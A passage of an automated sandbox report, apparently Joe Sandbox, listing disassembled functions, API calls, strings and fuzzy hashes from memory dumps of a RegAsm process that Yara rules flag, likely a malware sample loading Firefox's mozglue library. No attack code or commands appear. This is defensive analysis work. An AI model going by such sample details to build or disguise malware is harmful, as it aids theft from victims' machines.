Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 5d29c29447d1c60abfa2b49bb7c6a6eb21f62470dd3e9510e662788e6174fe46
Instruction ID: 4b68dbb936780ae52b54299968ea0183b661395b6abb693d3f74d909f545d0a9
Opcode Fuzzy Hash: 5d29c29447d1c60abfa2b49bb7c6a6eb21f62470dd3e9510e662788e6174fe46
Instruction Fuzzy Hash: 47312FB1A002159FDB10DF758C44BABBBF8EF49654F558429E85AD7700E738A814CBB0

Function 6C0FB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C0FB532
moz_xmalloc.MOZGLUE(?), ref: 6C0FB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C0FB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C0FB57E
free.MOZGLUE(00000000), ref: 6C0FB58F

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: c8da1a8a052a55d670fa4cadd5b9b37e397c39ba1f16df714f3ad44a675c442e
Instruction ID: 2d79f392938dcaf607fd8e90e61592ce9f21e98d660f3f62f9dd0b22d2d0f352
Opcode Fuzzy Hash: c8da1a8a052a55d670fa4cadd5b9b37e397c39ba1f16df714f3ad44a675c442e
Instruction Fuzzy Hash: 6121D571A00205DBDB01CF64CC50BAABBF9FF41704F284029EC249B341E735D992CBA1

Function 00425863 Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.MSVCRT ref: 00425871
_free.LIBCMT ref: 00425884

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _freemalloc
String ID:
API String ID: 3576935931-0
Opcode ID: 2b493ed735d85f9015adc675c3a17421fda87a9d97b28ce3bdfaf562aa5dddaf
Instruction ID: 0f6a7a9de2acf976bb71c4a7358ee9c0189bfc7f42e6d65b4cfb5dacec2d3ad4
Opcode Fuzzy Hash: 2b493ed735d85f9015adc675c3a17421fda87a9d97b28ce3bdfaf562aa5dddaf
Instruction Fuzzy Hash: 37110433700A35ABCB253F36BC0465A37A4AF443A1BB0413BF80996250DE7C8850879C

Function 6C130D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C0F3DEF), ref: 6C130D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C0F3DEF), ref: 6C130D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C0F3DEF), ref: 6C130DAF

Strings

<jemalloc>, xrefs: 6C130D92, 6C130DB9
: (malloc) Error in VirtualFree(), xrefs: 6C130D97, 6C130DBE

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 3aef351dd3a3715dab5e30e9af9bdcdbc18ad32d5f49e8c36b09491062f6cb73
Instruction ID: d7da0a1918533f6979f3a7a12199ef66e32d4137d36f1b132a938a5bec019619
Opcode Fuzzy Hash: 3aef351dd3a3715dab5e30e9af9bdcdbc18ad32d5f49e8c36b09491062f6cb73
Instruction Fuzzy Hash: AAF0E9313802B463E63212660C0AB5A66DD67C2F28F305039F20CEA9C0DB50E4044AB5

Function 6C147620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C1475C4,?), ref: 6C14762B

Part of subcall function 6C10CA10: malloc.MOZGLUE(?), ref: 6C10CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C1474D7,6C1515FC,?,?,?), ref: 6C147644
GetCurrentThreadId.KERNEL32 ref: 6C14765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C1474D7,6C1515FC,?,?,?), ref: 6C147663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C1474D7,6C1515FC,?,?,?), ref: 6C147677

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 8e612b827d5581e98d6ae8a73db6fd05aca1778795d18cdf943494f7ea338b69
Instruction ID: f1052459d610376becc69475a1b11e39f7e552ce4c6d681ab52f9dfff3381692
Opcode Fuzzy Hash: 8e612b827d5581e98d6ae8a73db6fd05aca1778795d18cdf943494f7ea338b69
Instruction Fuzzy Hash: 6CF0C271E10755ABE7018F21C888676B778FFEA259F114316F90453701EBB0A5D08BE1

Function 00426869 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00426875

Part of subcall function 00424AA4: __getptd_noexit.LIBCMT ref: 00424AA7
Part of subcall function 00424AA4: __amsg_exit.LIBCMT ref: 00424AB4

__getptd.LIBCMT ref: 0042688C
__amsg_exit.LIBCMT ref: 0042689A
__lock.LIBCMT ref: 004268AA
__updatetlocinfoEx_nolock.LIBCMT ref: 004268BE

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 3ca1aa4fc0945ad2b9bfdc36e3f8cce4979dbeb0600ceb255b48c050cbe74efe
Instruction ID: df530f8c2b07d24e750de0406a568835e90f0ca544d117646d130bb6d46416d2
Opcode Fuzzy Hash: 3ca1aa4fc0945ad2b9bfdc36e3f8cce4979dbeb0600ceb255b48c050cbe74efe
Instruction Fuzzy Hash: 2DF09672F427309ADA21BB75740774A37A0AF40729F92411FF401972D2CB6C5940CA5D

Function 6C11D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C12CBE8: GetCurrentProcess.KERNEL32(?,6C0F31A7), ref: 6C12CBF1
Part of subcall function 6C12CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C0F31A7), ref: 6C12CBFA

EnterCriticalSection.KERNEL32(6C17E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C12D1C5), ref: 6C11D4F2
LeaveCriticalSection.KERNEL32(6C17E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C12D1C5), ref: 6C11D50B

Part of subcall function 6C0FCFE0: EnterCriticalSection.KERNEL32(6C17E784), ref: 6C0FCFF6
Part of subcall function 6C0FCFE0: LeaveCriticalSection.KERNEL32(6C17E784), ref: 6C0FD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C12D1C5), ref: 6C11D52E
EnterCriticalSection.KERNEL32(6C17E7DC), ref: 6C11D690
LeaveCriticalSection.KERNEL32(6C17E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C12D1C5), ref: 6C11D751

Strings

MOZ_CRASH(), xrefs: 6C11D4BB

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: ef1bb212eccc96df31627192c3ea912da88b37db5df098f627e92cf73bae6e7c
Instruction ID: e6ac1866a881ffbef91b958e7b1817889b731046a06f53a24410d681c6ce8b25
Opcode Fuzzy Hash: ef1bb212eccc96df31627192c3ea912da88b37db5df098f627e92cf73bae6e7c
Instruction Fuzzy Hash: 2851BF71A087118FD725DF28C09475AB7E1EF89308F554A2ED6A9C7F44D778E840CBA1

Function 6C144630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C144721

Strings

., xrefs: 6C14476A
-%llu, xrefs: 6C144733
profiler-paused, xrefs: 6C1446E4

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 02d9e39f3b3f2a22d50dfce52b52f5ae7376b61add9cc6c70309bd266b3544a6
Instruction ID: 604d10a3409a4d357bd4b5c20f6495bb9d7c7708aae2ea8062b074e798dd9d37
Opcode Fuzzy Hash: 02d9e39f3b3f2a22d50dfce52b52f5ae7376b61add9cc6c70309bd266b3544a6
Instruction Fuzzy Hash: CA416771E047089BCB08DF79D85125EBBE5EF85344F20C63EE855ABB81EB309845C791

Function 6C14B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C0F4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C133EBD,6C133EBD,00000000), ref: 6C0F42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C14B127), ref: 6C14B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C14B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C14B4E4

Strings

pid:, xrefs: 6C14B4DE

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 6663405dae12a583a22882016cc7cd55ad1a191abe7b68c13db023f0f41344d3
Instruction ID: d49a8580af47cb0fc4f42e705e3d22b175eb90964f31bfdeb11a3921ecad5e76
Opcode Fuzzy Hash: 6663405dae12a583a22882016cc7cd55ad1a191abe7b68c13db023f0f41344d3
Instruction Fuzzy Hash: 01312231A01A18DFCB10DFA9D894AEEB7B5FF08318F584529D9026BA41D731E949CBE1

Function 00410077 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0041009A

Part of subcall function 0042ED48: std::exception::exception.LIBCMT ref: 0042ED5D
Part of subcall function 0042ED48: __CxxThrowException@8.LIBCMT ref: 0042ED72
Part of subcall function 0042ED48: std::exception::exception.LIBCMT ref: 0042ED83

__EH_prolog3_catch.LIBCMT ref: 00410139
std::_Xinvalid_argument.LIBCPMT ref: 0041014D

Strings

vector<T> too long, xrefs: 00410095, 00410148

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8H_prolog3_catchThrow
String ID: vector<T> too long
API String ID: 2448322171-3788999226
Opcode ID: f06b38253ece6012c9e08a18db6e267593db03dea8d040c3a1839e0d12be0c5f
Instruction ID: 61275a027c2194a9b0a26cc606bf89a41a3a5cf2b181ed7f6831a07118e04739
Opcode Fuzzy Hash: f06b38253ece6012c9e08a18db6e267593db03dea8d040c3a1839e0d12be0c5f
Instruction Fuzzy Hash: 8031E872B503269BDB08EF6DAC456ED77E29B04311F51103FE520E7290D6BE9EC08B48

Function 004134D8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004134F7
StrCmpCA.SHLWAPI(00000000,004367EC,?), ref: 00413523
strtok_s.MSVCRT ref: 00413589

Strings

)zA, xrefs: 004134E9, 004134EC

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: strtok_s
String ID: )zA
API String ID: 3330995566-483804167
Opcode ID: bf8d56f2f949b0d4b8340cdd9a1d7cdc46d4818ee2dc8c66d0a0daddc3e36a3b
Instruction ID: e25e2a4fac4fdaa3031c2764c7a521eb05de7460a47cf09186ea45e794858a97
Opcode Fuzzy Hash: bf8d56f2f949b0d4b8340cdd9a1d7cdc46d4818ee2dc8c66d0a0daddc3e36a3b
Instruction Fuzzy Hash: D6219571D00109BFCB18DF64C881ADABBADFF18705F11905BE809EB251E774DB858B98

Function 00413390 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004133AF
StrCmpCA.SHLWAPI(00000000,004367E0,?), ref: 004133E8

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 00410581

strtok_s.MSVCRT ref: 00413424

Strings

lyA, xrefs: 004133A1, 004133A4

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID: lyA
API String ID: 348468850-1101682927
Opcode ID: 8264b25575d11c6665f1d6882f8df24621dd193d67bd68e77faf64de46faf031
Instruction ID: 530b5b9384520956d988ef5f9eef14088f7e00acaaf5feba0a58aa85cdec459f
Opcode Fuzzy Hash: 8264b25575d11c6665f1d6882f8df24621dd193d67bd68e77faf64de46faf031
Instruction Fuzzy Hash: 74118171900115AFDB01DF54C945BDAB7BCBF1430AF119067E805EB192EB78EF988B98

Function 6C13E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C13E577
AcquireSRWLockExclusive.KERNEL32(6C17F4B8), ref: 6C13E584
ReleaseSRWLockExclusive.KERNEL32(6C17F4B8), ref: 6C13E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C13E8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C13E722, 6C13E750, 6C13E7A2
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C13E826, 6C13E850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C13E655
MOZ_PROFILER_STARTUP, xrefs: 6C13E5A1, 6C13E5CC, 6C13E5FF, 6C13E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C13E777

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 5317ffe43825a37b23ee35a6ca69034464812e1a8b1c3a60673366555c2f5b27
Instruction ID: 1f36bf7ad4000e18766e8abccd70b26a89145be5b5e32a2aa49e1942810ff8d2
Opcode Fuzzy Hash: 5317ffe43825a37b23ee35a6ca69034464812e1a8b1c3a60673366555c2f5b27
Instruction Fuzzy Hash: 5D11AD31A04268DFCB119F14C848B6ABBB4FF8932CF100619E96657B90C774A955DBF1

Function 0040F27D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F282

Part of subcall function 0042ED48: std::exception::exception.LIBCMT ref: 0042ED5D
Part of subcall function 0042ED48: __CxxThrowException@8.LIBCMT ref: 0042ED72
Part of subcall function 0042ED48: std::exception::exception.LIBCMT ref: 0042ED83

std::_Xinvalid_argument.LIBCPMT ref: 0040F28D

Part of subcall function 0042ED95: std::exception::exception.LIBCMT ref: 0042EDAA
Part of subcall function 0042ED95: __CxxThrowException@8.LIBCMT ref: 0042EDBF
Part of subcall function 0042ED95: std::exception::exception.LIBCMT ref: 0042EDD0

Strings

invalid string position, xrefs: 0040F288
string too long, xrefs: 0040F27D

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: invalid string position$string too long
API String ID: 1823113695-4289949731
Opcode ID: 9b28dc53f463485330f6a4ed4178d81a02b5d790413623de6439b9d5aa09e46c
Instruction ID: 050f922ca1b6ca8f4e1908b6b02623b4f0d246f3566f5b0efb2f51b0d905e2b1
Opcode Fuzzy Hash: 9b28dc53f463485330f6a4ed4178d81a02b5d790413623de6439b9d5aa09e46c
Instruction Fuzzy Hash: F4D012A565020C77CB04E79AEC06ACDBAE99F48714F60016BF605E3645EA7457005569

Function 00411D61 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 18memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00412301,?), ref: 00411D6C
HeapAlloc.KERNEL32(00000000), ref: 00411D73
wsprintfW.USER32 ref: 00411D84

Strings

%hs, xrefs: 00411D7E

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: 3ad6661e342435e3454c6033efd35680c758cdf589e793b7d7a2c9c560a2e302
Instruction ID: 516a0af99a9d3ed9a850d6bfca40a0a85ae49b58000b6b42a5d70a6c01262027
Opcode Fuzzy Hash: 3ad6661e342435e3454c6033efd35680c758cdf589e793b7d7a2c9c560a2e302
Instruction Fuzzy Hash: F2D0A73134031477C61027D4BC0DF9A3F2CDB067A2F001130FA0DD6151C96548144BDD

Function 004013F6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00401402
GetDeviceCaps.GDI32(00000000,0000000A), ref: 0040140D
ReleaseDC.USER32(00000000,00000000), ref: 00401416

Strings

DISPLAY, xrefs: 004013FD

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
